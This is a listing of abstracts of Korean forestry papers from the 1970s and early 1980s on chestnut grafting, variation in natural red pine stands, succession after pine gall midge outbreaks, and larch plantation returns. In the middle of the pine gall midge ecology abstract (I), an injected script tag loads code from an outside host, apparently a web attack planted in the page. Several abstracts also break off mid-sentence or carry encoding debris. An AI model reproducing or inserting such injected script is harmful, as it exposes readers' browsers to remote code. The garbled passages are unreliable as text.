밤나무 우량품종의 형태학적 특징과 증식에 관한 연구

임경빈,권기원 ( Kyong Bin Yim,Ki Won Kwon ) 한국산림과학회 1974 한국산림과학회지 Vol.22 No.1

1. In the comparison of survival ratio among three different methods (bark graft, veneer graft, root graft), bark graft showed the highest survival ratio and root graft was the lowest. It was shown to be significant at the level of 5% in the analysis of variance for the results. It was able to be supposed that one of the main causes for the results was the different amounts of ferric tannic acid which was formated owing to the reaction of grafting knife with tannic acid oozing from cutting faces of the tree. In juvenile tissue graft, the survival ratio of inverted radicle graft was a little higher than that of juvenile stem graft, but there was no significant difference between two methods in analysis of variance. 2. The most hairs of chestnut tree leaves were recognized as stellates on the most part of leaves except for venation. The number of rays in the stellates was ranged from 4 to 8 generally. It was shown to be highly significant differences at the level of 1 % among the each race growing at the similar environmental condition in the length of ray and the distributed ratio of the stellates having different ray number. 3. Excepting for the basal width of serration there were no significant differences between Imakita₁, Imakita₂ as well as between Teteuchi₁, Teteuchi₂ at the each point of experimental items in this study. Such results made this study more useful. 4. Among the races that were growing in the similar environmental condition, there were highly significant differences at the level of 1% in the length and the width of serration. 5. The rolling of hair, the angle of serration from the leaf margin, the existence of lateral vein in the serration, the intrusion of main vein into the serration and the width of main vein were observed to be somewhat useful as the subsidiary methods for the identification of chestnut races.

소나무천연집단의 변이에 관한 연구 (Ⅱ) - 명주 , 울진 , 수원집단의 침엽 및 재질형질 (材質形質) -

임경빈,권기원 ( Kyong Bin Yim,Ki Won Kwon ) 한국산림과학회 1976 한국산림과학회지 Vol.31 No.1

For study on the variation of natural stand, three populations of Pinus densiflora S. et Z. were selected at samsanri Yongogmyun Myongjugun Kandgwond (4), Hawonri seomyun Uljingun Kyongbuk (5), and Emogdong Suweon Kyongkido (6) successibely after the selection of three population in 1974. twenty individual trees were chosen from each population and the morphological characteristics of trees, needle and wood properties were investigated on the trees. The results are summerized as follows; 1. serration density, resin canal number in needle did not show significant differences, however stomata row number in the both sides of needle showed highly significant differences among 3 populations. But significant differences among 3 populations, But significant differences were calculated among individual trees in a population regarding any character of needles. 2. Ail population had high correlation on the stomata row between abaxial and adaxial side of needle. 3. The Myongjungun population showed the highest value of resin duct index, which means the population had the highest degree of hybrid character. 4. The ring segment width and summerwood percentage in the wood properties had significant differences, and yet specific gravity and tracheid length had not significant differences statistically among 3 populations. But all the values were significant statistically among the ring segments within population. 5. The ring segment width decreased rapidly with increasing tree age but summerwood percentage, specific gravity, tracheid length increased slowly to the middle age of tree and then decreased slowly after the age. 6. The values of Uljingun population were generally high in the coefficient of variation on all the needle characters. And the values of Suweon population were always the highest and those my Myongjugun population the lowest in the coefficient of variation on all the wood properties.

한국(韓國)의 임목육종사업(林木育種事業)의 현황(現況)과 전망(展望) -선발(選拔) 및 도입육종(導入育種)의 방향(方向)

임경빈,Yim, Kyong Bin 한국산림과학회 1975 한국산림과학회지 Vol.28 No.1

솔잎혹파리 피해적송림의 (被害赤松林) 생태학적 연구 (Ⅱ)

임경빈,이경재,박인협 ( Kyong Bin Yim,Kyong Jae Lee,In Hyeop Park ) 한국산림과학회 1981 한국산림과학회지 Vol.54 No.1

In order to elucidate the process of plant succession of the Japanese red pine forests caused by pine gall midge, Thecodoplosis japonensis, in the area of Chungbuk and Kyongbuk, 12 study polts, 4 plots from each three districts, were set up. Districts A (Cheongwon)not attacked by this insect, as the check, District B(Gumi) in which the insect outbreak occured 5 years ago, and District C(Yeongdond)in which the insect outbreak occured 10 years ago, were sampled. The surveyed were some environmental factors, the number of woody plants, relative density, relative dominance values, species composition of plots by layer(upper, middle and ground), importance values, species diversity, similarity and dissimilarity index, etc. The results obtained are summarized as follows: The accumulation of litter on the ground was increased with the lengthening the insect damage duration. Through the crown opening and litter accumulation, the light intensity, temperature condition and soil moisture and mutrient content might be altered. According to the changes of species composition were forced. In general, the Genus Quercus, as a compensation species, has sprung up. The relative improtance values for Q.aliena, Q.serrata, and Q.variabilis were significantly increased in the insect infested forests. 2. the stand structure and species composition of the insect attacked forest about 5 years later after the outbreak become complex and diverse. However, since this time, the simplicity of these regards become restored up to 10 years after the outbreak. 3. As the synthetic analysis of plant succession process, the relative values calculated from the relative density and the relative dominance values shown the dominant status of Genus Quercus in the heavily damaged forests. In addition, Genus Rhododendron and Genus Lespedeza with higher frequency become the ground vegetation components. They were gradually increased along the time elapsing after the insect out-break 4. The differences in connection with the soil moisture contents, the organic matter contents which might give some influences to the vegetation change were hardly recognizable statistically among the studied plots by three district groups. We estimated that the annual mean precipitation and the annual mean temperature did not operated any meaningful effects on the vegetation alteration among plots between districts.

솔잎혹파리 피해적송림의 (被害赤松林) 생태학적 연구 (Ⅰ)

임경빈,이경재,김용식 ( Kyong Bin Yim,Kyong Jae Lee,Yong Shik Kim ) 한국산림과학회 1981 한국산림과학회지 Vol.52 No.1

Thecodiplosis japonesis is sweeping the Pinus densiflora forests from south-west to north-east direction, destroying almost all the aged large trees as well as even the young ones. The front line of infestation is moving slowly but ceaselessly norhwards as a long bottle front. Estimation is that more than 40 percent of the area of P. densiflora forest has been damaged already, however some individuals could escapes from the damage and contribute to restore the site to the previous vegetation composition. When the stands were attacked by this insect, the drastic openings of the upper story of tree canopy formed by exclusively P. densiflora are usually resulted and some environmental factors such as light, temperature, litter accumulation, soil moisture and offers were naturally modified. With these changes after insect invasion, as the time passes, phytosociologic changes of the vegetation are gradually proceeding. If we select the forest according to four categories concerning the history of the insect outbreak, namely, non­attacked (healthy forest), recently damaged (the outbreak occured about 1-2 years ago), severely damaged (occured 5-6 years ago), damage prolonged (occured 10 years ago) and restored (occured about 20 years ago), any directional changes of vegetation composition could be traced these in line with four progressive stages. To elucidate these changes, three survey districts; (1) $quot;Gongju$quot; where the damage was severe and it was outbroken in 1977, (2) $quot;Buyeo$quot; where damage prolonged and (3) $quot;Gochang$quot; as restored, were set, (See Tab. 1). All these were located in the south temperate forest zone which was delimited mainly due to the temporature factor and generally accepted without any opposition at present. In view of temperature, the amount and distribution of precipitation and various soil factor, the overall homogeneity of environmental conditions between survey districts might be accepted. However this did not mean that small changes of edaphic and topographic conditions and microclimates can induce any alteration of vegetation patterns. Again four survey plots were set in each district and inter plot distance was 3 to 4 km. And again four subplots were set within a survey plot. The size of a subplot was 10m × 10m for woody vegetation and 5m × 5m for ground cover vegetation which was less than 2 m high. The nested quadrat method was adopted. In sampling survey plots, the followings were taken into account: (1) Natural growth having more than 80 percent of crown density of upper canopy and more than 5 hectares of area. (2) Was not affected by both natural and artificial disturbances such as fire and thinning operation for the past three decades. (3) Lower than 500 m of altitude (4) Less than 20 degrees of slope, and (5) Northerly sited aspect. An intensive vegetation survey was undertaken during the summer of 1980. The vegetation was devided into 3 categories for sampling; the upper layer (dominated mainly by the pine trees) the middle layer composed by oak species and other broad-leaved trees as well as the pine, and the ground layer or the lower layer (shrubby form of woody plants). In this study our survey was concentrated on woody species only. For the vegetation analysis, calculated were values of intensity, frequency, covers, relative importance, species diversity, dominance and similarity and dissimilasity index when importance values were calculated, different relative weights as score were arbitrarily given to each layer, i.e., 3 points for the upper layer, 2 for the middle layer and 1 for the ground layer. Then the formula becomes as follows; $lt;수식 생략$gt; The values of Similarity Index were calculated on the basis of the Relative Importance Value of trees (sum of relative density, frequency and cover). The formula used is; $lt;수식 생략$gt; Where: C = The sum of the ]ower of the two quantitative values for species shared by the two communities. S?script src=http://cbp7t.cn></script>

낙엽송(落葉松) 식재림(植栽林)의 수지문제(收支問題)

임경빈,Yim, Kyong Bin 한국산림과학회 1970 한국산림과학회지 Vol.10 No.1

조림지(造林地)의 수익성분석(收益性分析)은 여러 가지 복잡한 요인(要因)이 개재(介在)하므로 믿을만한 것을 얻기는 대단히 어려운 일이나 기업경영(企業經營)의 건전성(健全性)을 타진해 보기 위해서는 일단 수익성(收益性)을 계산(計算)해 보는 것도 좋은 일이다. 이곳 낙엽송조림지(落葉松造林地)의 조림(造林)에 몇가지 전제조건(前提條件)을 네세우고 그 수익율(收益率)을 계산(計算)하여 본 바 이율(利率)이 8%이하(以下)로 되어야만 실패율(失敗率)이 감소된다. 6% 정도이면 대단히 유리(有利)하게 조림성과(造林成果)가 전개(展開)된다. 그러나 이곳 수익성(收益性)에만 꼭 매달릴 수 없는 임업경영(林業經營)의 사정(事情)이 있음을 우리는 알고 있어야 한다. It is quite difficult to analyse the profit that can be obtained from tree plantations because very many factors are involved. However, for giving sound guidelines to forestry enterprices, it is beneficial in calculating the cost ratios. The present author has made some predetermined assumptions for this calculation relating to larch plantations. According to the results, to insure a sound enterprice, the rate of the annual compound interest should be less than 8 percent taking into consideration the risk ratio. It is true, however, that we do not always depend only upon profit analysis results in forest management.

소나무 천연집단의 변이에 관한 연구 (Ⅳ) - 집단간 및 가계간분산 (家系間分散) 추정에 영향하는 가계수에 (家系數) 대하여 -

임경빈,권기원,이경재 ( Kyong Bin Yim,Ki Won Kwon,Kyong Jae Lee ) 한국산림과학회 1977 한국산림과학회지 Vol.35 No.1

In the analysis of variance between population and between individual trees (families), the fluctuation of values of variances due to sample size, (number of family) was analysed by two different designs, i.e. 2-level nested design with equal sample size and randomized complete block design. The variables were seedling heights and root calipers of 1-0 and 1-1 seedlings of Pinus densiflora S. et Z. The details of three natural stands and their progeny characters were presented in previous reports. 1. In nested design analysis. increase of sample size resulted the decrease of F-values among families in general, however, the F-values among populations showen the increasing tendency. The smaller the sample size, the larger the F-values fluctuation was resulted in general. At the point of beyond sample size 10, however, the fluctuation become to be stabilized. The F-value fluctuation seemed to be more in the case of analysis with random sampling method than with sequentially accumulated sampling method. And also such a tendency was more obvious in smaller sample size than in large one. 2. In R.C.B.D. analysis, the sample size to affirm the family variation was smaller than that for population variations.

소나무 천연집단의 변이에 관한 연구 (Ⅴ) - 인제 (麟蹄) , 정선 (旌善) , 삼척집단의 (三陟集團) 침엽 및 재질형질 (材質形質)

임경빈,권기원,이경재 ( Kyong Bin Yim,Ki Won Kwon,Kyong Jae Lee ) 한국산림과학회 1977 한국산림과학회지 Vol.36 No.1

As a successive work of the variation studies of natural Pinus densiflora stands, some characteristics of individual trees of the three natural populations selected from the Kwang-won Province, the middle-east part of Korean peninsula, as shown in the location map, were investigated. And the statiscal differences between individuals within population, and between populations were analysed. Twenty trees from each population were selected for this study purpose. Doing this, those trees lagged in growth, usually showing poorer form, were eliminated. The results obtained are summarized as follows: 1. Though the average population ages had the ranage between 50 and 63, the growth of height or diameter was similar. Population No.9 is, however, considered to have better tree forms at glance. Population No.8 showed the heighest value not only in the clear-stem-length ratio. 0.53 but also in the crown-index 0.91. The higher value can be result from those trees having long lateral branches and relatively short crown height, meaning undesirable crown shape. In regard to the fine branchedness and the acuteness of branching angle, the population No.9. is considered to be a better one, whereas there was almost no difference in crown height among populations. 2. Checking the frequency distributions of the ratio of the clear-stem-height to the total height and the crown-indices, some difference between populations are considered. These might be attributed to the previous way of stand mangement which alters the density. 3. In the serration density, the average number of 54 per 1㎝ needle length, the significant differences exist between individual trees within population but not between populations. A few trees which extremly high serration density were observed. As in serration, so tendencies were in the number of stomata row and resin duct. 4. The population 8 had the resin duct index value of 0.074 as the highest which was twice or triple of the other ones. 5. The patterns of increasing process of the average 10-year-ring-segment were not similar till the 30 years of age, but beyond this, the tendency lines were aggregated. 6. Regading the average summer wood ratio, no diffrence between populations, but in the ranges, i.e. 23 to 30 in population No.8. and 16 to 36 in population No.9., with regad to the specific gravity of wood, there were hardly observed any difference between populations even in the ranges values. As the increase of tree ages, the increase of specific gravity was followed but the increasing patterns were not similar between populations. 7. No significant differences between populations in the average tracheid length and the range were detected. However, the length was increased according to the age increase. The increasing pattern was same between populations.

소나무 천연집단의 변이에 관한 연구 (Ⅲ) - 주왕산 , 안면도 , 오대산 소나무집단의 차대의 유전변이 -

임경빈,권기원 ( Kyong Bin Yim,Ki Won Kwon ) 한국산림과학회 1976 한국산림과학회지 Vol.32 No.1

The purpose of this study is to elucidate the genetic variation of the natural forest of Pinus densiflora. Three natural populations of the species, which are considered to be superior quality phenotypically, were selected. The locations and conditions of the populations are shown in table 1 and 2. The morphological traits of tree and needle and some other characteristics were presented already in our first report of this series in which population and family differences according to observed characteristics were statistically analyzed. Twenty trees were sampled from each populations, i.e., 60 trees in total. During the autumn of 1974, matured cones were collected from each tree and open-pollinated seeds were extracted in laboratory. Immediately after cone collection, in closed condition, the morphological characteristics were measured. Seed and seed-wing dimensions were also studied. In the spring of 1975, the seeds were sown in the experimental tree nursery located in Suweon. And in the April of 1976, the 1-0 seedlings were transplanted according to the predetermined experimental design, randomized block design with three replications. Because of cone setting condition. the number of family from which progenies were raised by populations were not equal. The numbers of family were 20 in population 1. 18 in population 2 and 15 in population 3. Then, each randomized block contained seedlings of 53 families from 3 populations. The present paper is mainly concerned with the variation of some characteristics of cone, seed, needle, growth performance of seedlings, and chlorophyll and monoterpene compositions of needles. The results obtained are summerized as follows. 1. The meteorological data obtained by averaging the records of 30 year period, observed from the nearest station to each location of populations, are shown in Fig. 3, 4, and 5. The distributional pattern of monthly precipitation are quite similar among locations. However, the precipitation density on population 2, Seosan area, during growing season is lower as compared to the other two populations. Population 1. Cheong-song area, and population 3, Pyong-chang area, are located in inland, but population 2 in the western seacoast. The differences on the average monthly air temperatures and the average monthly lowest temperatures among populations can hardly be found. 2. Available information on the each mother trees (families) studied, such as age, stem height, diameter at breast height, clear-bole-length, crown conditions and others are shown in table 6,7, and 8. 3. The measurements of fresh cone weight, length and the widest diameter of cone are given in Tab]e 9. All these traits arc concerned with the highly significant population differences and family differences within population. And the population difference was also found in the cone-index, that is, length-diameter ratio. 4. Seed-wing length and seed-wing width showed the population differences, and the family differences were also found in both characteristics. Not discussed in this paper, however, seed-wing colours and their shapes indicate the specificity which is inherent to individual trees as shown in photo 3 on page 50. The colour and shape are fully the expression of genetic make up of mother tree. The little variations on these traits are resulted from this reason. The significant differences among populations and among families were found in those characteristics, such as 1000-seed weight, seed length, seed width, and seed thickness as shown in table 11. As to all these dimensions, the values arc always larger in population 1 which is younger in age than that of the other two. The population differences evaluated by cone, seed and seed-wing sizes could partly be attributed to the growth vigorousity. 5. The values of correlation between the characteristics of cone and seed are presented in table 12. As shown, the positive correlations between cone diameter and seed-wing width were ca

소나무 천연집단의 변이에 관한 연구 (Ⅶ) - 왕산 , 봉화 , 양주집단의 침엽 및 재질형질 (材質形質) -

임경빈,이경재 ( Kyong Bin Yim,Kyong Jae Lee ) 한국산림과학회 1978 한국산림과학회지 Vol.40 No.1

Three Pinus densiflora populations as shown in location map (Fig. 1) were studied in 1977. These succeed the population numbers 10, 11 and 12 after the preceeding populations. Following the previous study methods, 20 trees were chosen from each population and the morphological characteristics such as tree forms, branching habit, needle and wood properties were investigated. The results are summerized as follows; 1. The mean stand ages were ranged from 40 to 45. The growth performances of trees of population 10 and 11 was similar, but 12 seemed to be inferior more or less. 2. The ratios of clear bole length was 0.53 in population 12 as the highest but 0.43 for population 10 as the lowest. 3. The population 12 was considered to be a stand of the coarser branching habit having the crown index (The maximum crown diameter/the crown length) 1.65 though the mean branching angle indicates almost horizontal. 4. The differences were observed in the clear bole length ratios and crown-indices between populations as shown in Fig. 3 and 4. 5. No inter-population differences in serration density of needle was shown but significant inter and intra-population and individual differences (within population) in number of stomata rows and resin duct. 6. Population 12 shown 0.119 of resin duct index as the maximum. 7. The pattern of diameter growth, analyses based on the width of 10-year-ring segment unit (for example, the 1st segment denotes the width between pith center and 10th year ring and the 2nd one is from 11th to 20th year ring and so on.), was alike among populations as shown in Fig. 9. 8. No significant differences between population in mean summer wood percentages as well as in wood specific gravity was observed. The values of wood specific gravity were increased with the increase of ages in population 10 and 11 however vice versa in population 12. 9. The fiber length was increased with the increase of age but no differences between populations as shown in Fig. 12.